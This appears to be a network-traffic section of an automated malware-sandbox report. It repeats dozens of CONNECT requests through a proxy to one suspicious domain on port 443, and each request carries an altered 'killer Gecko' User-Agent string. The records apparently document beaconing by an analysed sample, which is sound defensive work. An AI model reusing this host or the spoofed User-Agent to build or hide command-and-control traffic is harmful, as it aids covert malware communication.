Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
